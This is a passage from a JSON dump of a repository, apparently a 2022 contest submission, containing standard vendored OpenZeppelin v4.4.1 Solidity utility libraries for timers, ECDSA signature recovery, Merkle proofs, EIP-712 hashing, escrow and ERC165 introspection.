    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Timers.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Tooling for timepoints, timers and delays\n */\nlibrary Timers {\n    struct Timestamp {\n        uint64 _deadline;\n    }\n\n    function getDeadline(Timestamp memory timer) internal pure returns (uint64) {\n        return timer._deadline;\n    }\n\n    function setDeadline(Timestamp storage timer, uint64 timestamp) internal {\n        timer._deadline = timestamp;\n    }\n\n    function reset(Timestamp storage timer) internal {\n        timer._deadline = 0;\n    }\n\n    function isUnset(Timestamp memory timer) internal pure returns (bool) {\n        return timer._deadline == 0;\n    }\n\n    function isStarted(Timestamp memory timer) internal pure returns (bool) {\n        return timer._deadline > 0;\n    }\n\n    function isPending(Timestamp memory timer) internal view returns (bool) {\n        return timer._deadline > block.timestamp;\n    }\n\n    function isExpired(Timestamp memory timer) internal view returns (bool) {\n        return isStarted(timer) && timer._deadline <= block.timestamp;\n    }\n\n    struct BlockNumber {\n        uint64 _deadline;\n    }\n\n    function getDeadline(BlockNumber memory timer) internal pure returns (uint64) {\n        return timer._deadline;\n    }\n\n    function setDeadline(BlockNumber storage timer, uint64 timestamp) internal {\n        timer._deadline = timestamp;\n    }\n\n    function reset(BlockNumber storage timer) internal {\n        timer._deadline = 0;\n    }\n\n    function isUnset(BlockNumber memory timer) internal pure returns (bool) {\n        return timer._deadline == 0;\n    }\n\n    function isStarted(BlockNumber memory timer) internal pure returns (bool) {\n        return timer._deadline > 0;\n    }\n\n    function isPending(BlockNumber memory timer) internal view returns (bool) {\n        return timer._deadline > block.number;\n    }\n\n    function isExpired(BlockNumber memory timer) internal view returns (bool) {\n        return isStarted(timer) && timer._deadline <= block.number;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../Strings.sol\";\n\n/**\n * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.\n *\n * These functions can be used to verify that a message was signed by the holder\n * of the private keys of a given address.\n */\nlibrary ECDSA {\n    enum RecoverError {\n        NoError,\n        InvalidSignature,\n        InvalidSignatureLength,\n        InvalidSignatureS,\n        InvalidSignatureV\n    }\n\n    function _throwError(RecoverError error) private pure {\n        if (error == RecoverError.NoError) {\n            return; // no error: do nothing\n        } else if (error == RecoverError.InvalidSignature) {\n            revert(\"ECDSA: invalid signature\");\n        } else if (error == RecoverError.InvalidSignatureLength) {\n            revert(\"ECDSA: invalid signature length\");\n        } else if (error == RecoverError.InvalidSignatureS) {\n            revert(\"ECDSA: invalid signature 's' value\");\n        } else if (error == RecoverError.InvalidSignatureV) {\n            revert(\"ECDSA: invalid signature 'v' value\");\n        }\n    }\n\n    /**\n     * @dev Returns the address that signed a hashed message (`hash`) with\n     * `signature` or error string. This address can then be used for verification purposes.\n     *\n     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n     * this function rejects them by requiring the `s` value to be in the lower\n     * half order, and the `v` value to be either 27 or 28.\n     *\n     * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n     * verification to be secure: it is possible to craft signatures that\n     * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n     * this is by receiving a hash of the original message (which may otherwise\n     * be too long), and then calling {toEthSignedMessageHash} on it.\n     *\n     * Documentation for signature generation:\n     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]\n     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]\n     *\n     * _Available since v4.3._\n     */\n    function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {\n        // Check the signature length\n        // - case 65: r,s,v signature (standard)\n        // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._\n        if (signature.length == 65) {\n            bytes32 r;\n            bytes32 s;\n            uint8 v;\n            // ecrecover takes the signature parameters, and the only way to get them\n            // currently is to use assembly.\n            assembly {\n                r := mload(add(signature, 0x20))\n                s := mload(add(signature, 0x40))\n                v := byte(0, mload(add(signature, 0x60)))\n            }\n            return tryRecover(hash, v, r, s);\n        } else if (signature.length == 64) {\n            bytes32 r;\n            bytes32 vs;\n            // ecrecover takes the signature parameters, and the only way to get them\n            // currently is to use assembly.\n            assembly {\n                r := mload(add(signature, 0x20))\n                vs := mload(add(signature, 0x40))\n            }\n            return tryRecover(hash, r, vs);\n        } else {\n            return (address(0), RecoverError.InvalidSignatureLength);\n        }\n    }\n\n    /**\n     * @dev Returns the address that signed a hashed message (`hash`) with\n     * `signature`. This address can then be used for verification purposes.\n     *\n     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n     * this function rejects them by requiring the `s` value to be in the lower\n     * half order, and the `v` value to be either 27 or 28.\n     *\n     * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n     * verification to be secure: it is possible to craft signatures that\n     * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n     * this is by receiving a hash of the original message (which may otherwise\n     * be too long), and then calling {toEthSignedMessageHash} on it.\n     */\n    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\n        (address recovered, RecoverError error) = tryRecover(hash, signature);\n        _throwError(error);\n        return recovered;\n    }\n\n    /**\n     * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.\n     *\n     * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]\n     *\n     * _Available since v4.3._\n     */\n    function tryRecover(\n        bytes32 hash,\n        bytes32 r,\n        bytes32 vs\n    ) internal pure returns (address, RecoverError) {\n        bytes32 s;\n        uint8 v;\n        assembly {\n            s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)\n            v := add(shr(255, vs), 27)\n        }\n        return tryRecover(hash, v, r, s);\n    }\n\n    /**\n     * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.\n     *\n     * _Available since v4.2._\n     */\n    function recover(\n        bytes32 hash,\n        bytes32 r,\n        bytes32 vs\n    ) internal pure returns (address) {\n        (address recovered, RecoverError error) = tryRecover(hash, r, vs);\n        _throwError(error);\n        return recovered;\n    }\n\n    /**\n     * @dev Overload of {ECDSA-tryRecover} that receives the `v`,\n     * `r` and `s` signature fields separately.\n     *\n     * _Available since v4.3._\n     */\n    function tryRecover(\n        bytes32 hash,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) internal pure returns (address, RecoverError) {\n        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature\n        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines\n        // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most\n        // signatures from current libraries generate a unique signature with an s-value in the lower half order.\n        //\n        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value\n        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or\n        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept\n        // these malleable signatures as well.\n        if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {\n            return (address(0), RecoverError.InvalidSignatureS);\n        }\n        if (v != 27 && v != 28) {\n            return (address(0), RecoverError.InvalidSignatureV);\n        }\n\n        // If the signature is valid (and not malleable), return the signer address\n        address signer = ecrecover(hash, v, r, s);\n        if (signer == address(0)) {\n            return (address(0), RecoverError.InvalidSignature);\n        }\n\n        return (signer, RecoverError.NoError);\n    }\n\n    /**\n     * @dev Overload of {ECDSA-recover} that receives the `v`,\n     * `r` and `s` signature fields separately.\n     */\n    function recover(\n        bytes32 hash,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) internal pure returns (address) {\n        (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n        _throwError(error);\n        return recovered;\n    }\n\n    /**\n     * @dev Returns an Ethereum Signed Message, created from a `hash`. This\n     * produces hash corresponding to the one signed with the\n     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n     * JSON-RPC method as part of EIP-191.\n     *\n     * See {recover}.\n     */\n    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {\n        // 32 is the length in bytes of hash,\n        // enforced by the type signature above\n        return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hash));\n    }\n\n    /**\n     * @dev Returns an Ethereum Signed Message, created from `s`. This\n     * produces hash corresponding to the one signed with the\n     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n     * JSON-RPC method as part of EIP-191.\n     *\n     * See {recover}.\n     */\n    function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {\n        return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n\", Strings.toString(s.length), s));\n    }\n\n    /**\n     * @dev Returns an Ethereum Signed Typed Data, created from a\n     * `domainSeparator` and a `structHash`. This produces hash corresponding\n     * to the one signed with the\n     * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]\n     * JSON-RPC method as part of EIP-712.\n     *\n     * See {recover}.\n     */\n    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {\n        return keccak256(abi.encodePacked(\"\\x19\\x01\", domainSeparator, structHash));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/cryptography/MerkleProof.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev These functions deal with verification of Merkle Trees proofs.\n *\n * The proofs can be generated using the JavaScript library\n * https://github.com/miguelmota/merkletreejs[merkletreejs].\n * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.\n *\n * See `test/utils/cryptography/MerkleProof.test.js` for some examples.\n */\nlibrary MerkleProof {\n    /**\n     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree\n     * defined by `root`. For this, a `proof` must be provided, containing\n     * sibling hashes on the branch from the leaf to the root of the tree. Each\n     * pair of leaves and each pair of pre-images are assumed to be sorted.\n     */\n    function verify(\n        bytes32[] memory proof,\n        bytes32 root,\n        bytes32 leaf\n    ) internal pure returns (bool) {\n        return processProof(proof, leaf) == root;\n    }\n\n    /**\n     * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up\n     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt\n     * hash matches the root of the tree. When processing the proof, the pairs\n     * of leafs & pre-images are assumed to be sorted.\n     *\n     * _Available since v4.4._\n     */\n    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {\n        bytes32 computedHash = leaf;\n        for (uint256 i = 0; i < proof.length; i++) {\n            bytes32 proofElement = proof[i];\n            if (computedHash <= proofElement) {\n                // Hash(current computed hash + current element of the proof)\n                computedHash = keccak256(abi.encodePacked(computedHash, proofElement));\n            } else {\n                // Hash(current element of the proof + current computed hash)\n                computedHash = keccak256(abi.encodePacked(proofElement, computedHash));\n            }\n        }\n        return computedHash;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/cryptography/SignatureChecker.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/cryptography/SignatureChecker.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./ECDSA.sol\";\nimport \"../Address.sol\";\nimport \"../../interfaces/IERC1271.sol\";\n\n/**\n * @dev Signature verification helper: Provide a single mechanism to verify both private-key (EOA) ECDSA signature and\n * ERC1271 contract signatures. Using this instead of ECDSA.recover in your contract will make them compatible with\n * smart contract wallets such as Argent and Gnosis.\n *\n * Note: unlike ECDSA signatures, contract signature's are revocable, and the outcome of this function can thus change\n * through time. It could return true at block N and false at block N+1 (or the opposite).\n *\n * _Available since v4.1._\n */\nlibrary SignatureChecker {\n    function isValidSignatureNow(\n        address signer,\n        bytes32 hash,\n        bytes memory signature\n    ) internal view returns (bool) {\n        (address recovered, ECDSA.RecoverError error) = ECDSA.tryRecover(hash, signature);\n        if (error == ECDSA.RecoverError.NoError && recovered == signer) {\n            return true;\n        }\n\n        (bool success, bytes memory result) = signer.staticcall(\n            abi.encodeWithSelector(IERC1271.isValidSignature.selector, hash, signature)\n        );\n        return (success && result.length == 32 && abi.decode(result, (bytes4)) == IERC1271.isValidSignature.selector);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/cryptography/draft-EIP712.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./ECDSA.sol\";\n\n/**\n * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.\n *\n * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,\n * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding\n * they need in their contracts using a combination of `abi.encode` and `keccak256`.\n *\n * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding\n * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA\n * ({_hashTypedDataV4}).\n *\n * The implementation of the domain separator was designed to be as efficient as possible while still properly updating\n * the chain id to protect against replay attacks on an eventual fork of the chain.\n *\n * NOTE: This contract implements the version of the encoding known as \"v4\", as implemented by the JSON RPC method\n * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].\n *\n * _Available since v3.4._\n */\nabstract contract EIP712 {\n    /* solhint-disable var-name-mixedcase */\n    // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to\n    // invalidate the cached domain separator if the chain id changes.\n    bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;\n    uint256 private immutable _CACHED_CHAIN_ID;\n    address private immutable _CACHED_THIS;\n\n    bytes32 private immutable _HASHED_NAME;\n    bytes32 private immutable _HASHED_VERSION;\n    bytes32 private immutable _TYPE_HASH;\n\n    /* solhint-enable var-name-mixedcase */\n\n    /**\n     * @dev Initializes the domain separator and parameter caches.\n     *\n     * The meaning of `name` and `version` is specified in\n     * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:\n     *\n     * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.\n     * - `version`: the current major version of the signing domain.\n     *\n     * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart\n     * contract upgrade].\n     */\n    constructor(string memory name, string memory version) {\n        bytes32 hashedName = keccak256(bytes(name));\n        bytes32 hashedVersion = keccak256(bytes(version));\n        bytes32 typeHash = keccak256(\n            \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n        );\n        _HASHED_NAME = hashedName;\n        _HASHED_VERSION = hashedVersion;\n        _CACHED_CHAIN_ID = block.chainid;\n        _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);\n        _CACHED_THIS = address(this);\n        _TYPE_HASH = typeHash;\n    }\n\n    /**\n     * @dev Returns the domain separator for the current chain.\n     */\n    function _domainSeparatorV4() internal view returns (bytes32) {\n        if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) {\n            return _CACHED_DOMAIN_SEPARATOR;\n        } else {\n            return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);\n        }\n    }\n\n    function _buildDomainSeparator(\n        bytes32 typeHash,\n        bytes32 nameHash,\n        bytes32 versionHash\n    ) private view returns (bytes32) {\n        return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));\n    }\n\n    /**\n     * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this\n     * function returns the hash of the fully encoded EIP712 message for this domain.\n     *\n     * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:\n     *\n     * ```solidity\n     * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(\n     *     keccak256(\"Mail(address to,string contents)\"),\n     *     mailTo,\n     *     keccak256(bytes(mailContents))\n     * )));\n     * address signer = ECDSA.recover(digest, signature);\n     * ```\n     */\n    function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {\n        return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/escrow/ConditionalEscrow.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/escrow/ConditionalEscrow.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./Escrow.sol\";\n\n/**\n * @title ConditionalEscrow\n * @dev Base abstract escrow to only allow withdrawal if a condition is met.\n * @dev Intended usage: See {Escrow}. Same usage guidelines apply here.\n */\nabstract contract ConditionalEscrow is Escrow {\n    /**\n     * @dev Returns whether an address is allowed to withdraw their funds. To be\n     * implemented by derived contracts.\n     * @param payee The destination address of the funds.\n     */\n    function withdrawalAllowed(address payee) public view virtual returns (bool);\n\n    function withdraw(address payable payee) public virtual override {\n        require(withdrawalAllowed(payee), \"ConditionalEscrow: payee is not allowed to withdraw\");\n        super.withdraw(payee);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/escrow/Escrow.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/escrow/Escrow.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../access/Ownable.sol\";\nimport \"../Address.sol\";\n\n/**\n * @title Escrow\n * @dev Base escrow contract, holds funds designated for a payee until they\n * withdraw them.\n *\n * Intended usage: This contract (and derived escrow contracts) should be a\n * standalone contract, that only interacts with the contract that instantiated\n * it. That way, it is guaranteed that all Ether will be handled according to\n * the `Escrow` rules, and there is no need to check for payable functions or\n * transfers in the inheritance tree. The contract that uses the escrow as its\n * payment method should be its owner, and provide public methods redirecting\n * to the escrow's deposit and withdraw.\n */\ncontract Escrow is Ownable {\n    using Address for address payable;\n\n    event Deposited(address indexed payee, uint256 weiAmount);\n    event Withdrawn(address indexed payee, uint256 weiAmount);\n\n    mapping(address => uint256) private _deposits;\n\n    function depositsOf(address payee) public view returns (uint256) {\n        return _deposits[payee];\n    }\n\n    /**\n     * @dev Stores the sent amount as credit to be withdrawn.\n     * @param payee The destination address of the funds.\n     */\n    function deposit(address payee) public payable virtual onlyOwner {\n        uint256 amount = msg.value;\n        _deposits[payee] += amount;\n        emit Deposited(payee, amount);\n    }\n\n    /**\n     * @dev Withdraw accumulated balance for a payee, forwarding all gas to the\n     * recipient.\n     *\n     * WARNING: Forwarding all gas opens the door to reentrancy vulnerabilities.\n     * Make sure you trust the recipient, or are either following the\n     * checks-effects-interactions pattern or using {ReentrancyGuard}.\n     *\n     * @param payee The address whose funds will be withdrawn and transferred to.\n     */\n    function withdraw(address payable payee) public virtual onlyOwner {\n        uint256 payment = _deposits[payee];\n\n        _deposits[payee] = 0;\n\n        payee.sendValue(payment);\n\n        emit Withdrawn(payee, payment);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/escrow/RefundEscrow.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/escrow/RefundEscrow.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./ConditionalEscrow.sol\";\n\n/**\n * @title RefundEscrow\n * @dev Escrow that holds funds for a beneficiary, deposited from multiple\n * parties.\n * @dev Intended usage: See {Escrow}. Same usage guidelines apply here.\n * @dev The owner account (that is, the contract that instantiates this\n * contract) may deposit, close the deposit period, and allow for either\n * withdrawal by the beneficiary, or refunds to the depositors. All interactions\n * with `RefundEscrow` will be made through the owner contract.\n */\ncontract RefundEscrow is ConditionalEscrow {\n    using Address for address payable;\n\n    enum State {\n        Active,\n        Refunding,\n        Closed\n    }\n\n    event RefundsClosed();\n    event RefundsEnabled();\n\n    State private _state;\n    address payable private immutable _beneficiary;\n\n    /**\n     * @dev Constructor.\n     * @param beneficiary_ The beneficiary of the deposits.\n     */\n    constructor(address payable beneficiary_) {\n        require(beneficiary_ != address(0), \"RefundEscrow: beneficiary is the zero address\");\n        _beneficiary = beneficiary_;\n        _state = State.Active;\n    }\n\n    /**\n     * @return The current state of the escrow.\n     */\n    function state() public view virtual returns (State) {\n        return _state;\n    }\n\n    /**\n     * @return The beneficiary of the escrow.\n     */\n    function beneficiary() public view virtual returns (address payable) {\n        return _beneficiary;\n    }\n\n    /**\n     * @dev Stores funds that may later be refunded.\n     * @param refundee The address funds will be sent to if a refund occurs.\n     */\n    function deposit(address refundee) public payable virtual override {\n        require(state() == State.Active, \"RefundEscrow: can only deposit while active\");\n        super.deposit(refundee);\n    }\n\n    /**\n     * @dev Allows for the beneficiary to withdraw their funds, rejecting\n     * further deposits.\n     */\n    function close() public virtual onlyOwner {\n        require(state() == State.Active, \"RefundEscrow: can only close while active\");\n        _state = State.Closed;\n        emit RefundsClosed();\n    }\n\n    /**\n     * @dev Allows for refunds to take place, rejecting further deposits.\n     */\n    function enableRefunds() public virtual onlyOwner {\n        require(state() == State.Active, \"RefundEscrow: can only enable refunds while active\");\n        _state = State.Refunding;\n        emit RefundsEnabled();\n    }\n\n    /**\n     * @dev Withdraws the beneficiary's funds.\n     */\n    function beneficiaryWithdraw() public virtual {\n        require(state() == State.Closed, \"RefundEscrow: beneficiary can only withdraw while closed\");\n        beneficiary().sendValue(address(this).balance);\n    }\n\n    /**\n     * @dev Returns whether refundees can withdraw their deposits (be refunded). The overridden function receives a\n     * 'payee' argument, but we ignore it here since the condition is global, not per-payee.\n     */\n    function withdrawalAllowed(address) public view override returns (bool) {\n        return state() == State.Refunding;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/introspection/ERC165.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n        return interfaceId == type(IERC165).interfaceId;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/introspection/ERC165Checker.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165Checker.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Library used to query support of an interface declared via {IERC165}.\n *\n * Note that these functions return the actual result of the query: they do not\n * `revert` if an interface is not supported. It is up to the caller to decide\n * what to do in these cases.\n */\nlibrary ERC165Checker {\n    // As per the EIP-165 spec, no interface should ever match 0xffffffff\n    bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;\n\n    /**\n     * @dev Returns true if `account` supports the {IERC165} interface,\n     */\n    function supportsERC165(address account) internal view returns (bool) {\n        // Any contract that implements ERC165 must explicitly indicate support of\n        // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid\n        return\n            _supportsERC165Interface(account, type(IERC165).interfaceId) &&\n            !_supportsERC165Interface(account, _INTERFACE_ID_INVALID);\n    }\n\n    /**\n     * @dev Returns true if `account` supports the interface defined by\n     * `interfaceId`. Support for {IERC165} itself is queried automatically.\n     *\n     * See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {\n        // query support of both ERC165 as per the spec and support of _interfaceId\n        return supportsERC165(account) && _supportsERC165Interface(account, interfaceId);\n    }\n\n    /**\n     * @dev Returns a boolean array where each value corresponds to the\n     * interfaces passed in and whether they're supported or not. This allows\n     * you to batch check interfaces for a contract where your expectation\n     * is that some interfaces may not be supported.\n     *\n     * See {IERC165-supportsInterface}.\n     *\n     * _Available since v3.4._\n     */\n    function getSupportedInterfaces(address account, bytes4[] memory interfaceIds)\n        internal\n        view\n        returns (bool[] memory)\n    {\n        // an array of booleans corresponding to interfaceIds and whether they're supported or not\n        bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length);\n\n        // query support of ERC165 itself\n        if (supportsERC165(account)) {\n            // query support of each interface in interfaceIds\n            for (uint256 i = 0; i < interfaceIds.length; i++) {\n                interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]);\n            }\n        }\n\n        return interfaceIdsSupported;\n    }\n\n    /**\n     * @dev Returns true if `account` supports all the interfaces defined in\n     * `interfaceIds`. Support for {IERC165} itself is queried automatically.\n     *\n     * Batch-querying can lead to gas savings by skipping repeated checks for\n     * {IERC165} support.\n     *\n     * See {IERC165-supportsInterface}.\n     */\n    function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {\n        // query support of ERC165 itself\n        if (!supportsERC165(account)) {\n            return false;\n        }\n\n        // query support of each interface in _interfaceIds\n        for (uint256 i = 0; i < interfaceIds.length; i++) {\n            if (!_supportsERC165Interface(account, interfaceIds[i])) {\n                return false;\n            }\n        }\n\n        // all interfaces supported\n        return true;\n    }\n\n    /**\n     * @notice Query if a contract implements an interface, does not check ERC165 support\n     * @param account The address of the contract to query for support of an interface\n     * @param interfaceId The interface identifier, as specified in ERC-165\n     * @return true if the contract at account indicates support of the interface with\n     * identifier interfaceId, false otherwise\n     * @dev Assumes that account contains a contract that supports ERC165, otherwise\n     * the behavior of this method is undefined. This precondition can be checked\n     * with {supportsERC165}.\n     * Interface identification is specified in ERC-165.\n     */\n    function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {\n        bytes memory encodedParams = abi.encodeWithSelector(IERC165.supportsInterface.selector, interfaceId);\n        (bool success, bytes memory result) = account.staticcall{gas: 30000}(encodedParams);\n        if (result.length < 32) return false;\n        return success && abi.decode(result, (bool));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/introspection/ERC165Storage.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165Storage.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./ERC165.sol\";\n\n/**\n * @dev Storage based implementation of the {IERC165} interface.\n *\n * Contracts may inherit from this and call {_registerInterface} to declare\n * their support of an interface.\n */\nabstract contract ERC165Storage is ERC165 {\n    /**\n     * @dev Mapping of interface ids to whether or not it's supported.\n     */\n    mapping(bytes4 => bool) private _supportedInterfaces;\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n        return super.supportsInterface(interfaceId) || _supportedInterfaces[interfaceId];\n    }\n\n    /**\n     * @dev Registers the contract as an implementer of the interface defined by\n     * `interfaceId`. Support of the actual ERC165 interface is automatic and\n     * registering its interface id is not required.\n     *\n     * See {IERC165-supportsInterface}.\n     *\n     * Requirements:\n     *\n     * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).\n     */\n    function _registerInterface(bytes4 interfaceId) internal virtual {\n        require(interfaceId != 0xffffffff, \"ERC165: invalid interface id\");\n        _supportedInterfaces[interfaceId] = true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/introspection/ERC1820Implementer.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC1820Implementer.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC1820Implementer.sol\";\n\n/**\n * @dev Implementation of the {IERC1820Implementer} interface.\n *\n * Contracts may inherit from this and call {_registerInterfaceForAddress} to\n * declare their willingness to be implementers.\n * {IERC1820Registry-setInterfaceImplementer} should then be called for the\n * registration to be complete.\n */\ncontract ERC1820Implementer is IERC1820Implementer {\n    bytes32 private constant _ERC1820_ACCEPT_MAGIC = keccak256(\"ERC1820_ACCEPT_MAGIC\");\n\n    mapping(bytes32 => mapping(address => bool)) private _supportedInterfaces;\n\n    /**\n     * @dev See {IERC1820Implementer-canImplementInterfaceForAddress}.\n     */\n    function canImplementInterfaceForAddress(bytes32 interfaceHash, address account)\n        public\n        view\n        virtual\n        override\n        returns (bytes32)\n    {\n        return _supportedInterfaces[interfaceHash][account] ? _ERC1820_ACCEPT_MAGIC : bytes32(0x00);\n    }\n\n    /**\n     * @dev Declares the contract as willing to be an implementer of\n     * `interfaceHash` for `account`.\n     *\n     * See {IERC1820Registry-setInterfaceImplementer} and\n     * 